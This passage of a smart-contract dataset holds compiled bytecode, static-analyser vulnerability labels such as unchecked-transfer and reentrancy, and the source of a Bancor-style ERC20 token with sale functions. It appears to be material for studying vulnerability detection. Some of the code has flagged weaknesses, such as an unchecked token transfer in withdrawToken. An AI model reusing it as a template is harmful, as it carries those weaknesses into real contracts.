fffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808284029050600084148061259657508284828161259357fe5b04145b61259c57fe5b8091505092915050565b6000808284816125b257fe5b0490508091505092915050565b60006125e7836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6126e7565b905092915050565b6000612617836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61270a565b905092915050565b600061262d826000016127f2565b9050919050565b600061265c836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612803565b905092915050565b6000818360000180549050116126c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806128746022913960400191505060405180910390fd5b8260000182815481106126d457fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b600080836001016000848152602001908152602001600020549050600081146127e6576000600182039050600060018660000180549050039050600086600001828154811061275557fe5b906000526020600020015490508087600001848154811061277257fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806127aa57fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506127ec565b60009150505b92915050565b600081600001805490509050919050565b600061280f83836126e7565b61286857826000018290806001815401808255809150506001900390600052602060002001600090919091909150558260000180549050836001016000848152602001908152602001600020819055506001905061286d565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647341646d696e2063616e6e6f74205472616e73666572206f75742052657761726420546f6b656e732066726f6d2074686973207661756c742141646d696e2063616e6e6f74207472616e73666572206f7574204c5020746f6b656e732066726f6d2074686973207661756c7421a26469706673582212201cecd136f6cca6a6faa81c93360df4435c976d854fa92f0c8931bcc8b8a8df4764736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,658 |
0x94f89517e1ced2628070e61be548a7c2e20a4daf | pragma solidity ^0.4.24;
// File: contracts/interfaces/IOwned.sol
/*
Owned Contract Interface
*/
contract IOwned {
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
function transferOwnershipNow(address newContractOwner) public;
}
// File: contracts/utility/Owned.sol
/*
This is the "owned" utility contract used by bancor with one additional function - transferOwnershipNow()
The original unmodified version can be found here:
https://github.com/bancorprotocol/contracts/commit/63480ca28534830f184d3c4bf799c1f90d113846
Provides support and utilities for contract ownership
*/
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
@dev constructor
*/
constructor() public {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
require(msg.sender == owner);
_;
}
/**
@dev allows transferring the contract ownership
the new owner still needs to accept the transfer
can only be called by the contract owner
@param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
/**
@dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
/**
@dev transfers the contract ownership without needing the new owner to accept ownership
@param newContractOwner new contract owner
*/
function transferOwnershipNow(address newContractOwner) ownerOnly public {
require(newContractOwner != owner);
emit OwnerUpdate(owner, newContractOwner);
owner = newContractOwner;
}
}
// File: contracts/utility/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
* From https://github.com/OpenZeppelin/openzeppelin-solidity/commit/a2e710386933d3002062888b35aae8ac0401a7b3
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
}
// File: contracts/interfaces/IERC20.sol
/*
Smart Token Interface
*/
contract IERC20 {
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// File: contracts/interfaces/ISmartToken.sol
/**
@notice Smart Token Interface
*/
contract ISmartToken is IOwned, IERC20 {
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
// File: contracts/SmartToken.sol
/*
This contract implements the required functionality to be considered a Bancor smart token.
Additionally it has custom token sale functionality and the ability to withdraw tokens accidentally deposited
// TODO abstract this into 3 contracts and inherit from them: 1) ERC20, 2) Smart Token, 3) Native specific functionality
*/
contract SmartToken is Owned, IERC20, ISmartToken {
/**
Smart Token Implementation
*/
bool public transfersEnabled = true; // true if transfer/transferFrom are enabled, false if not
/// @notice Triggered when a smart token is deployed - the _token address is defined for forward compatibility, in case we want to trigger the event from a factory
event NewSmartToken(address _token);
/// @notice Triggered when the total supply is increased
event Issuance(uint256 _amount);
// @notice Triggered when the total supply is decreased
event Destruction(uint256 _amount);
// @notice Verifies that the address is different than this contract address
modifier notThis(address _address) {
require(_address != address(this));
_;
}
modifier transfersAllowed {
assert(transfersEnabled);
_;
}
/// @notice Validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != address(0));
_;
}
/**
@dev disables/enables transfers
can only be called by the contract owner
@param _disable true to disable transfers, false to enable them
*/
function disableTransfers(bool _disable) public ownerOnly {
transfersEnabled = !_disable;
}
/**
@dev increases the token supply and sends the new tokens to an account
can only be called by the contract owner
@param _to account to receive the new amount
@param _amount amount to increase the supply by
*/
function issue(address _to, uint256 _amount)
public
ownerOnly
validAddress(_to)
notThis(_to)
{
totalSupply = SafeMath.add(totalSupply, _amount);
balances[_to] = SafeMath.add(balances[_to], _amount);
emit Issuance(_amount);
emit Transfer(this, _to, _amount);
}
/**
@dev removes tokens from an account and decreases the token supply
can be called by the contract owner to destroy tokens from any account or by any holder to destroy tokens from his/her own account
@param _from account to remove the amount from
@param _amount amount to decrease the supply by
*/
function destroy(address _from, uint256 _amount) public {
require(msg.sender == _from || msg.sender == owner); // validate input
balances[_from] = SafeMath.sub(balances[_from], _amount);
totalSupply = SafeMath.sub(totalSupply, _amount);
emit Transfer(_from, this, _amount);
emit Destruction(_amount);
}
/**
@notice ERC20 Implementation
*/
uint256 public totalSupply;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _value) public transfersAllowed returns (bool success) {
if (balances[msg.sender] >= _value && _to != address(0)) {
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
} else {return false; }
}
function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _to != address(0)) {
balances[_to] = SafeMath.add(balances[_to], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public name;
uint8 public decimals;
string public symbol;
string public version;
constructor(string _name, uint _totalSupply, uint8 _decimals, string _symbol, string _version, address sender) public {
balances[sender] = _totalSupply; // Give the creator all initial tokens
totalSupply = _totalSupply; // Update total supply
name = _name; // Set the name for display purposes
decimals = _decimals; // Amount of decimals for display purposes
symbol = _symbol; // Set the symbol for display purposes
version = _version;
emit NewSmartToken(address(this));
}
/**
@notice Token Sale Implementation
*/
uint public saleStartTime;
uint public saleEndTime;
uint public price;
uint public amountRemainingForSale;
bool public buyModeEth = true;
address public beneficiary;
address public payableTokenAddress;
event TokenSaleInitialized(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, uint nowTime);
event TokensPurchased(address buyer, uint amount);
/**
@dev increases the token supply and sends the new tokens to an account. Similar to issue() but for use in token sale
@param _to account to receive the new amount
@param _amount amount to increase the supply by
*/
function issuePurchase(address _to, uint256 _amount)
internal
validAddress(_to)
notThis(_to)
{
totalSupply = SafeMath.add(totalSupply, _amount);
balances[_to] = SafeMath.add(balances[_to], _amount);
emit Issuance(_amount);
emit Transfer(this, _to, _amount);
}
/**
@notice Begins the token sale for this token instance
@param _saleStartTime Unix timestamp of the token sale start
@param _saleEndTime Unix timestamp of the token sale close
@param _price If sale initialized in ETH: price in Wei.
If not, token purchases are enabled and this is the amount of tokens issued per tokens paid
@param _amountForSale Amount of tokens for sale
@param _beneficiary Recipient of the token sale proceeds
*/
function initializeTokenSale(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, address _beneficiary) public ownerOnly {
// Check that the token sale has not yet been initialized
initializeSale(_saleStartTime, _saleEndTime, _price, _amountForSale, _beneficiary);
}
/**
@notice Begins the token sale for this token instance
@notice Uses the same signature as initializeTokenSale() with:
@param _tokenAddress The whitelisted token address to allow payments in
*/
function initializeTokenSaleWithToken(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, address _beneficiary, address _tokenAddress) public ownerOnly {
buyModeEth = false;
payableTokenAddress = _tokenAddress;
initializeSale(_saleStartTime, _saleEndTime, _price, _amountForSale, _beneficiary);
}
function initializeSale(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, address _beneficiary) internal {
// Check that the token sale has not yet been initialized
require(saleStartTime == 0);
saleStartTime = _saleStartTime;
saleEndTime = _saleEndTime;
price = _price;
amountRemainingForSale = _amountForSale;
beneficiary = _beneficiary;
emit TokenSaleInitialized(saleStartTime, saleEndTime, price, amountRemainingForSale, now);
}
function updateStartTime(uint _newSaleStartTime) public ownerOnly {
saleStartTime = _newSaleStartTime;
}
function updateEndTime(uint _newSaleEndTime) public ownerOnly {
require(_newSaleEndTime >= saleStartTime);
saleEndTime = _newSaleEndTime;
}
function updateAmountRemainingForSale(uint _newAmountRemainingForSale) public ownerOnly {
amountRemainingForSale = _newAmountRemainingForSale;
}
function updatePrice(uint _newPrice) public ownerOnly {
price = _newPrice;
}
/// @dev Allows owner to withdraw erc20 tokens that were accidentally sent to this contract
function withdrawToken(IERC20 _token, uint amount) public ownerOnly {
_token.transfer(msg.sender, amount);
}
/**
@dev Allows token sale with parent token
*/
function buyWithToken(IERC20 _token, uint amount) public payable {
require(_token == payableTokenAddress);
uint amountToBuy = SafeMath.mul(amount, price);
require(amountToBuy <= amountRemainingForSale);
require(now <= saleEndTime && now >= saleStartTime);
amountRemainingForSale = SafeMath.sub(amountRemainingForSale, amountToBuy);
require(_token.transferFrom(msg.sender, beneficiary, amount));
issuePurchase(msg.sender, amountToBuy);
emit TokensPurchased(msg.sender, amountToBuy);
}
function() public payable {
require(buyModeEth == true);
uint amountToBuy = SafeMath.div( SafeMath.mul(msg.value, 1 ether), price);
require(amountToBuy <= amountRemainingForSale);
require(now <= saleEndTime && now >= saleStartTime);
amountRemainingForSale = SafeMath.sub(amountRemainingForSale, amountToBuy);
issuePurchase(msg.sender, amountToBuy);
beneficiary.transfer(msg.value);
emit TokensPurchased(msg.sender, amountToBuy);
}
} | 0x6080604052600436106101ac576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306bcf02f1461031257806306fdde031461033f578063095ea7b3146103cf5780631608f18f1461043457806318160ddd146104635780631cbaee2d1461048e5780631d4a9209146104b957806323b872dd14610524578063313ce567146105a957806338af3eed146105da57806354fd4d501461063157806368e57c6b146106c15780636ab3846b146106ec5780636e33a8311461071957806370a082311461075957806379ba5097146107b0578063867904b4146107c75780638692ac86146108145780638d6cc56d146108575780638da5cb5b1461088457806395d89b41146108db57806398079dc41461096b5780639e281a98146109c2578063a035b1fe14610a0f578063a24835d114610a3a578063a9059cbb14610a87578063bef97c8714610aec578063cb52c25e14610b1b578063d4ee1d9014610b48578063da5da3b914610b9f578063dd62ed3e14610c2a578063ea5a641614610ca1578063ed338ff114610cd0578063f2fde38b14610cfb575b600060011515600d60009054906101000a900460ff1615151415156101d057600080fd5b6101ed6101e534670de0b6b3a7640000610d3e565b600b54610d7c565b9050600c54811115151561020057600080fd5b600a54421115801561021457506009544210155b151561021f57600080fd5b61022b600c5482610da6565b600c8190555061023b3382610dc7565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156102a3573d6000803e3d6000fd5b507f8f28852646c20cc973d3a8218f7eefed58c25c909f78f0265af4818c3d4dc2713382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150005b34801561031e57600080fd5b5061033d60048036038101908080359060200190929190505050610f80565b005b34801561034b57600080fd5b50610354610fe5565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610394578082015181840152602081019050610379565b50505050905090810190601f1680156103c15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103db57600080fd5b5061041a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611083565b604051808215151515815260200191505060405180910390f35b34801561044057600080fd5b50610461600480360381019080803515159060200190929190505050611175565b005b34801561046f57600080fd5b506104786111ee565b6040518082815260200191505060405180910390f35b34801561049a57600080fd5b506104a36111f4565b6040518082815260200191505060405180910390f35b3480156104c557600080fd5b5061052260048036038101908080359060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111fa565b005b34801561053057600080fd5b5061058f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611269565b604051808215151515815260200191505060405180910390f35b3480156105b557600080fd5b506105be611624565b604051808260ff1660ff16815260200191505060405180910390f35b3480156105e657600080fd5b506105ef611637565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561063d57600080fd5b5061064661165d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561068657808201518184015260208101905061066b565b50505050905090810190601f1680156106b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106cd57600080fd5b506106d66116fb565b6040518082815260200191505060405180910390f35b3480156106f857600080fd5b5061071760048036038101908080359060200190929190505050611701565b005b610757600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611777565b005b34801561076557600080fd5b5061079a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119de565b6040518082815260200191505060405180910390f35b3480156107bc57600080fd5b506107c5611a27565b005b3480156107d357600080fd5b50610812600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611bc6565b005b34801561082057600080fd5b50610855600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dda565b005b34801561086357600080fd5b5061088260048036038101908080359060200190929190505050611f4f565b005b34801561089057600080fd5b50610899611fb4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108e757600080fd5b506108f0611fd9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610930578082015181840152602081019050610915565b50505050905090810190601f16801561095d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561097757600080fd5b50610980612077565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109ce57600080fd5b50610a0d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061209d565b005b348015610a1b57600080fd5b50610a246121db565b6040518082815260200191505060405180910390f35b348015610a4657600080fd5b50610a85600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506121e1565b005b348015610a9357600080fd5b50610ad2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506123b0565b604051808215151515815260200191505060405180910390f35b348015610af857600080fd5b50610b016125dc565b604051808215151515815260200191505060405180910390f35b348015610b2757600080fd5b50610b46600480360381019080803590602001909291905050506125ef565b005b348015610b5457600080fd5b50610b5d612654565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610bab57600080fd5b50610c2860048036038101908080359060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061267a565b005b348015610c3657600080fd5b50610c8b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612746565b6040518082815260200191505060405180910390f35b348015610cad57600080fd5b50610cb66127cd565b604051808215151515815260200191505060405180910390f35b348015610cdc57600080fd5b50610ce56127e0565b6040518082815260200191505060405180910390f35b348015610d0757600080fd5b50610d3c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127e6565b005b6000806000841415610d535760009150610d75565b8284029050828482811515610d6457fe5b04141515610d7157600080fd5b8091505b5092915050565b600080600083111515610d8e57600080fd5b8284811515610d9957fe5b0490508091505092915050565b600080838311151515610db857600080fd5b82840390508091505092915050565b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e0457600080fd5b823073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e4057600080fd5b610e4c600254846128e1565b600281905550610e9b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846128e1565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f9386c90217c323f58030f9dadcbc938f807a940f4ff41cd4cead9562f5da7dc3836040518082815260200191505060405180910390a18373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fdb57600080fd5b8060098190555050565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561107b5780601f106110505761010080835404028352916020019161107b565b820191906000526020600020905b81548152906001019060200180831161105e57829003601f168201915b505050505081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111d057600080fd5b8015600160146101000a81548160ff02191690831515021790555050565b60025481565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125557600080fd5b6112628585858585612902565b5050505050565b6000600160149054906101000a900460ff16151561128357fe5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561134e575081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156113875750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611618576113d5600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836128e1565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611461600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610da6565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152a600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610da6565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061161d565b600090505b9392505050565b600660009054906101000a900460ff1681565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116f35780601f106116c8576101008083540402835291602001916116f3565b820191906000526020600020905b8154815290600101906020018083116116d657829003601f168201915b505050505081565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561175c57600080fd5b600954811015151561176d57600080fd5b80600a8190555050565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415156117d557600080fd5b6117e182600b54610d3e565b9050600c5481111515156117f457600080fd5b600a54421115801561180857506009544210155b151561181357600080fd5b61181f600c5482610da6565b600c819055508273ffffffffffffffffffffffffffffffffffffffff166323b872dd33600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561191e57600080fd5b505af1158015611932573d6000803e3d6000fd5b505050506040513d602081101561194857600080fd5b8101908080519060200190929190505050151561196457600080fd5b61196e3382610dc7565b7f8f28852646c20cc973d3a8218f7eefed58c25c909f78f0265af4818c3d4dc2713382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a8357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a60405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c2157600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611c5e57600080fd5b823073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611c9a57600080fd5b611ca6600254846128e1565b600281905550611cf5600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846128e1565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f9386c90217c323f58030f9dadcbc938f807a940f4ff41cd4cead9562f5da7dc3836040518082815260200191505060405180910390a18373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e3557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611e9157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a60405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611faa57600080fd5b80600b8190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561206f5780601f106120445761010080835404028352916020019161206f565b820191906000526020600020905b81548152906001019060200180831161205257829003601f168201915b505050505081565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120f857600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561219b57600080fd5b505af11580156121af573d6000803e3d6000fd5b505050506040513d60208110156121c557600080fd5b8101908080519060200190929190505050505050565b600b5481565b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061226757506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561227257600080fd5b6122bb600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610da6565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230a60025482610da6565b6002819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37f9a1b418bc061a5d80270261562e6986a35d995f8051145f277be16103abd3453816040518082815260200191505060405180910390a15050565b6000600160149054906101000a900460ff1615156123ca57fe5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156124465750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156125d157612494600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610da6565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612520600360008573ffffffffffffffffffffffffffffffffffffffff167